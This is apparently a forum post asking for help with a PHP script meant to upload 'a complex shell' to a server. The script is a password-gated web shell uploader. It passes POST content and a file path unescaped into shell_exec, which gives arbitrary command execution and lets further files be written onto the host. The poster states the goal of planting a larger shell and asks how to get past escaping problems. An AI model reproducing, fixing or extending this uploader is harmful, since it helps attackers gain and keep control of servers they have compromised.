I'm having problem with simple write to file script. It works, but if the input contains something that could break down php code, it will. And the problem is that I need this script to upload a complex shell, but it just won't do it. I don't know how can I upload a php script using this. I tried converting input's special characters to html code but it doesn't work either.
PHP Code
<?php
if ($_GET['password']=="qwerty") {
echo "<form action='shell.php' method='POST'><input type='text' name='path' /><br /><textarea name='content' rows='30' cols='100'></textarea><br /><input type='submit' value='submit' /></form>";
}
if (isset($_POST['content']) && isset($_POST['path'])) { echo shell_exec('echo "'.$_POST['content'].'" >> '.$_POST['path']);
}
?>
